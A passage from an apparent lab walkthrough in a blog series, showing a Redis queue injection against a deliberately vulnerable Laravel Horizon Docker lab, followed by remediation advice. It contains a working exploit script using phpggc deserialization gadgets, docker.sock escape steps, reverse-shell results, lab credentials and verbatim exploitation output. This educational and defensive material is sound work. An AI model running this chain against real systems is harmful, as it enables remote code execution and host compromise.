NOTIFY_KEY="$QUEUE_KEY:notify"
MARKER="/tmp/artisanbreach-$(date +%s)-$RANDOM"     # unique per run
REDIS="docker exec dvla-redis redis-cli"            # Redis is internal-only

# 1. Confirm Redis accepts commands without a password
echo "[+] Checking Redis is unauthenticated..."
$REDIS ping | grep -q PONG && echo "[+] PONG (no auth)" || { echo "[-] auth required"; exit 1; }

# 2. Generate a benign gadget that writes a unique marker file
echo "[+] Generating gadget..."
php "$PHPGGC" $CHAIN system "id > $MARKER" -o gadget.bin 2>/dev/null

# 3. Build the queue payload
echo "[+] Building queue payload..."
php build_payload.php > final_payload.json

# 4. Inject the job the way Laravel's producer does (RPUSH + notify)
echo "[+] Injecting job..."
$REDIS RPUSH "$QUEUE_KEY" "$(cat final_payload.json)"
$REDIS RPUSH "$NOTIFY_KEY" 1

# 5. Poll (bounded) for the unique marker. No destructive cleanup: the worker
#    LPOPs the job itself, and only our own marker file is removed.
echo "[+] Waiting for the worker to execute the job..."
for i in $(seq 1 30); do
    if docker exec dvla-horizon test -f "$MARKER" 2>/dev/null; then
        echo "[+] RCE CONFIRMED: worker executed our command:"
        docker exec dvla-horizon cat "$MARKER"
        docker exec dvla-horizon rm -f "$MARKER"
        exit 0
    fi
    sleep 1
done
echo "[-] Marker not observed after 30s. Check: docker logs dvla-horizon"
exit 1
About the docker.sock step A docker.sock escape is only possible if the worker process can read/write /var/run/docker.sock. Creating a privileged container is the host-control step, but it does not by itself give you a shell. You still have to exec/chroot into it to establish interactive access. Don't treat container creation as "host compromised" until that access is demonstrated.

The docker.sock Connection: Bridging to Post 11

The Horizon container has the Docker socket mounted:

docker-compose-local.yml (line 89)
volumes:
  - ./:/var/www
  - /var/run/docker.sock:/var/run/docker.sock  # INTENTIONAL: worker also has socket (Post 11)

If the Redis injection yields a shell inside dvla-horizon and that worker process can read/write the socket, you can talk to the Docker API. A privileged container that mounts the host filesystem is the host-control step:

# The socket is mounted into dvla-horizon, but the worker (admin, uid 1000) cannot
# read it: `curl -s --unix-socket /var/run/docker.sock http://localhost/version`
# returns nothing from the worker. The access gate below is therefore only usable
# from a root context, in this lab the dvla-admin container (root), not the worker:
ls -la /var/run/docker.sock
# srw-rw---- 1 root 986 /var/run/docker.sock

# From dvla-admin (root), the real access gate:
docker exec dvla-admin curl -s --unix-socket /var/run/docker.sock http://localhost/version
# {"Version": "...", "ApiVersion": "...", ...}

# This is the entry point for Post 11, full host filesystem access via container escape

The file upload from Post 6 also pays off here. The staged PHP shell at /var/www/public/pages/timestamp_shell.php is accessible from inside the Horizon container (the application directory is volume-mounted as ./:/var/www) and can be executed directly via CLI without needing the Nginx PHP location trick:

# From inside dvla-horizon, execute the staged shell directly:
php /var/www/public/pages/1751234567_shell.php
# (output of whatever command was embedded)

Impact

Immediate
  • Remote code execution as the Horizon worker's OS user (admin, not root, in this lab) inside the dvla-horizon container
  • Full Laravel application codebase and .env readable from container
  • Database accessible: dvla:secret123 (root also secret123) on dvla-db:3306
  • Application Redis data fully readable and writable (cache poisoning, session forgery)
  • Ability to modify application logic, inject backdoors, and pivot to other services
With docker.sock (if the worker can access it)
  • Mounted ≠ accessible. The socket only helps if the worker's uid/gid can read/write it; in this lab the worker is admin (uid 1000), so the escape typically requires a root context such as dvla-admin.
  • Spawn a privileged container mounting the host filesystem: full host compromise (Post 11)
  • Enumerate all running containers, their secrets, and their volumes
  • Move laterally to dvla-admin and dvla-nginx containers
  • Persistent backdoor: drop SSH keys on the host, install a cron job
  • Access to all host resources, including other VMs and networks
  • Ability to exfiltrate data and establish long-term persistence

Attack Summary

Phase Action Tools Used Result
1 Reach & Enumerate redis-cli, SSRF (Post 9) Confirmed no Redis auth
2 Gadget Generation phpggc (chain verified against deps) PHP serialization chain
3 Payload Crafting PHP, JSON Laravel queue job
4 Redis Injection redis-cli RPUSH Malicious job queued
5 Reverse Shell phpggc, nc Worker shell in Horizon
6 Post-Exploitation Various Linux tools Secrets extracted
7 Docker Escape curl, Docker API Container escape
8 Host Compromise SSH, systemd Full host access
9 Lateral Movement docker, mysql Other containers accessed
10 Persistence cron, systemd, SSH keys Long-term access

Detection & Fingerprinting

External fingerprinting of the exact framework and dependency versions is inherently unreliable. HTTP headers such as x-powered-by are commonly stripped, /composer.json and /vendor/... are usually not exposed, and probing /artisan or /horizon only tells you whether a route is reachable, not which version is installed.

An accessible /horizon dashboard can suggest that Horizon is installed, but it does not reveal the Horizon version. Confirm exact framework/dependency versions from the deployment itself (for example the composer.lock in the mounted application directory, or php artisan --version once you have any foothold).

What actually matters for this attack
  • The queue worker reconstructs jobs with unserialize(), which is the deserialization stage.
  • A Redis-backed queue becomes dangerous when the Redis service is reachable by an untrusted client and queue writes are not protected.
  • The exact installed dependency versions determine which gadget chain (if any) fires.

The Fix

Defenses are ordered by priority: preventing untrusted network access comes first, followed by Redis authorization, then hardening the worker and its mounts.

Fix 1 (first-line defense)
Keep Redis off the network path of untrusted clients
# docker-compose-local.yml
dvla-redis:
    image: redis:7-alpine
    # No "ports:" mapping. Redis is reachable only over the internal dvla-net bridge.
    # Nothing outside the Docker network can reach it.
    networks:
      - dvla-net

The primary control is preventing untrusted network access to Redis. If Redis is genuinely isolated from untrusted clients, the risk drops to whatever can already reach that network, which is why the SSRF from Post 9 matters and why it must be fixed too.

Fix 2 (defense in depth)
Enable Redis authentication / ACLs
# docker-compose-local.yml. Inject the password from an env var / secret, never
# hardcode it in the compose file:
dvla-redis:
    image: redis:7-alpine
    command: redis-server --requirepass "${REDIS_PASSWORD:?set REDIS_PASSWORD}"
    networks:
      - dvla-net
# .env, update to match (a strong random value from your secret store)
REDIS_PASSWORD=change-this-to-a-strong-random-password

For Redis 6+, prefer ACL users with per-command and per-key restrictions over a single requirepass. Note that Laravel's Redis queue uses Lua scripts (EVAL), lists, sorted sets, and connection commands, so a minimal ACL needs more than plain read/write. Treat the following as a starting point and determine the exact minimum for your deployment before relying on it:

# Example starting point (verify the exact command/key set your queue needs):
docker exec dvla-redis redis-cli ACL SETUSER laravel on >secret ~queues:* +@list +@sortedset +@generic +@scripting +@connection
Authentication is defense in depth, not a substitute for isolation If Redis is genuinely unreachable from untrusted clients, the absence of a password may be acceptable for a given threat model. The strongest posture is defense in depth: isolate the network and enable authorization, because isolation alone fails the moment any container on the shared network is compromised.
Fix 3 (least privilege)
Run Horizon as a non-root user and remove the Docker socket
# docker-compose-local.yml
dvla-horizon:
    command: php artisan horizon
    # build:
    #   args:
    #     user: app          # non-root worker
    #     uid: 1000
    volumes:
      - ./:/var/www
      # - /var/run/docker.sock:/var/run/docker.sock   # remove: the worker has no need for it
    networks:
      - dvla-net
Fix 4 (network segmentation)
Separate Docker networks by concern
# docker-compose-local.yml, separate networks by concern
networks:
  frontend-net:     # nginx + app
    driver: bridge
  backend-net:      # app + db + redis
    driver: bridge
    internal: true  # no outbound internet from this network

# dvla-nginx gets only frontend-net
# dvla-admin gets both networks
# dvla-redis gets only backend-net (not reachable from nginx tier directly)
# dvla-horizon gets only backend-net
Fix 5 (hygiene)
Keep Laravel, Horizon, and dependencies patched

Update Laravel, Horizon, and every dependency regularly, and review composer.lock for known-vulnerable packages. Patching does not remove this class of attack by itself. It changes which gadget chains exist. But it is part of a complete defense.

Remediation Checklist

Do not publish Redis on a host port. Keep it reachable only over the internal Docker network so untrusted clients cannot reach it directly.

Restrict Redis to the backend Docker network. Use separate networks for the frontend (Nginx + app) and backend (app + db + Redis) tiers, and mark the backend network internal: true.

Enable Redis authentication. Add a requirepass, and prefer Redis 6+ ACL users with per-command and per-key restrictions (e.g. ~queues:*). Remember Laravel's Redis queue also needs EVAL (scripting), lists, and sorted sets.

Restrict Redis commands/keys via ACLs. Note that hardening commands such as CONFIG/KEYS/FLUSHALL does not stop queue injection, since the attack only needs RPUSH to a queue key. Network isolation and queue-write authorization remain the primary controls.

Run Horizon as a non-root user. In this lab, dvla-horizon inherits the image's default non-root user (admin, uid 1000); the user: root/uid: 0 override only applies to dvla-admin. Keep the worker non-root.

Remove /var/run/docker.sock:/var/run/docker.sock from the Horizon container volumes unless there is a specific operational need. The queue worker has no reason to manage Docker containers.

Use separate Docker networks for frontend and backend tiers to limit lateral movement between services.

Keep Laravel, Horizon, and all dependencies patched. Review composer.lock for known-vulnerable packages.

Verify Redis AUTH is working after changes: docker exec dvla-redis redis-cli ping should return NOAUTH Authentication required, not PONG.

If your architecture requires processing messages across an untrusted boundary, authenticate message producers and verify message integrity before processing them. For an ordinary internal Laravel Redis queue, network isolation + Redis authorization is the more conventional fix.

Appendix: Lab Verification (Observed Output)

Every step below was run against the live lab (dvla-redis, dvla-horizon, dvla-admin) and the output is reproduced verbatim. Redis has no host port, so the host-side commands reach it through docker exec dvla-redis redis-cli, the same trick Phase 10 uses. This appendix is the evidence for the screenshots referenced throughout the walkthrough.

Phase 1, Redis is reachable and unauthenticated

$ docker exec dvla-redis redis-cli ping
PONG

$ docker exec dvla-redis redis-cli info server | grep redis_version
redis_version:7.4.9

$ docker exec dvla-redis redis-cli CONFIG GET requirepass
1) "requirepass"
2) ""                          <- empty string: no password

$ docker exec dvla-redis redis-cli ACL LIST
user default on nopass sanitize-payload ~* &* +@all

Phase 2, Installed dependency versions (composer.lock)

laravel/framework  => v12.54.1
laravel/horizon    => v5.47.2
monolog/monolog    => 3.10.0
league/commonmark  => 2.8.1
predis/predis      => v3.5.1
# Both recommended chains fire against the worker's vendor/ tree:
$ php ~/phpggc/phpggc Monolog/RCE8 --test-payload 2>/dev/null
Trying to deserialize payload...
SUCCESS: Payload triggered !          (exit 0)

$ php ~/phpggc/phpggc Laravel/RCE22 --test-payload 2>/dev/null
Trying to deserialize payload...
SUCCESS: Payload triggered !          (exit 0)
Monolog/RCE9 also reports SUCCESS under --test-payload, but, as noted in Phase 2, it does not fire promptly in the live worker: two consecutive injections were observed for 15s+ each with no marker file, because the self-referential cycle defers __destruct to the garbage collector.

Phase 3-4, Inject a job and confirm RCE

# The serialized gadget survives the JSON round-trip byte-for-byte:
$ php build_payload.php > final_payload.json
$ wc -c final_payload.json
934 final_payload.json
$ php -r '$d=json_decode(file_get_contents("final_payload.json"),true);
          echo $d["data"]["command"] === file_get_contents("gadget.bin") ? "byte-identical" : "MISMATCH";'
byte-identical

$ docker exec dvla-redis redis-cli RPUSH artisanbreach_database_queues:default "$(cat final_payload.json)"
(integer) 1
$ docker exec dvla-redis redis-cli RPUSH artisanbreach_database_queues:default:notify 1
(integer) 1

# Marker file written inside the worker container proves execution:
$ docker exec dvla-horizon cat /tmp/artisanbreach-poc
uid=1000(admin) gid=1000(admin) groups=1000(admin),0(root),33(www-data)
# Horizon logs the job as FAIL (the gadget is not a real Job) even though __destruct ran:
$ docker logs dvla-horizon --tail=4
  2026-08-26 20:48:48 App\Jobs\DemoJob ............................... RUNNING
  2026-08-26 20:48:48 App\Jobs\DemoJob .......................... 24.81ms FAIL

Phase 10, Automated proof (marker-file script)

$ ./redis_inject.sh
[+] Checking Redis is unauthenticated...
[+] PONG (no auth)
[+] Generating gadget...
[+] Building queue payload...
[+] Injecting job...
[+] Waiting for the worker to execute the job...
[+] RCE CONFIRMED: worker executed our command:
uid=1000(admin) gid=1000(admin) groups=1000(admin),0(root),33(www-data)

Phase 5, Reverse shell (bash /dev/tcp)

# Attacker host listener (python3, because no nc on the host):
$ python3 listener.py
listening on 4444
CONNECTED from ('172.19.0.4', 52912)

# Interactive shell arrives as the worker user:
admin@d36aca935156:/var/www$ id; hostname; whoami
uid=1000(admin) gid=1000(admin) groups=1000(admin),0(root),33(www-data)
d36aca935156
admin

The docker.sock access gate

# Mounted, but not accessible to the non-root worker (admin, uid 1000):
$ docker exec dvla-horizon ls -la /var/run/docker.sock
srw-rw---- 1 root 986 0 Aug 26 20:29 /var/run/docker.sock

$ docker exec dvla-horizon sh -c 'test -r /var/run/docker.sock && echo readable || echo NOT readable'
NOT readable

# The root dvla-admin container CAN use it:
$ docker exec dvla-admin curl -s --unix-socket /var/run/docker.sock http://localhost/version
{"Platform":{"Name":"Docker Engine - Community"},"Version":"29.7.2","ApiVersion":"1.55", ...}

Database reachability (via PHP pdo_mysql from the worker)

$ docker exec dvla-horizon php -r 'new PDO("mysql:host=dvla-db;dbname=dvla","dvla","secret123"); echo "dvla:secret123 OK\n";'
dvla:secret123 OK

$ docker exec dvla-horizon php -r 'new PDO("mysql:host=dvla-db","root","secret123"); echo "root:secret123 OK\n";'
root:secret123 OK

The main point is..

Redis was designed to run inside a trusted network. Its documentation says this explicitly and has said it for years. The assumption is that only trusted clients reach port 6379, so authentication is optional in development and commonly skipped even in production because "it's behind the firewall anyway."

In this lab, Redis is not even published on the host. It's internal-only. The attack still lands because the app and Horizon containers share a flat dvla-net bridge with Redis, and the SSRF in Post 9 reaches dvla-redis:6379 directly. The queue injection variant is dangerous precisely because it chains several reasonable-looking decisions into RCE: storing jobs in Redis, deserializing PHP objects to reconstruct job state, and trusting that anything in the queue was put there by the application. None of these is obviously wrong in isolation. But together, on a Redis instance writable by an untrusted client and with a compatible gadget chain available, they hand an attacker code execution at the Horizon worker's privilege level.

Laravel 12 is the target environment in this lab, not the vulnerability itself. The finding is the chain of conditions: unauthenticated Redis write access, an attacker-controlled queue, a Horizon worker consuming that queue, PHP deserialization of the payload, and a gadget chain that matches the installed dependency tree. In ArtisanBreach, if the Horizon worker can also reach the mounted docker.sock, that worker-level RCE can be escalated to Docker-host administrative control. Post 11 covers that step. Everything from Post 1 through Post 9 has been building toward this moment.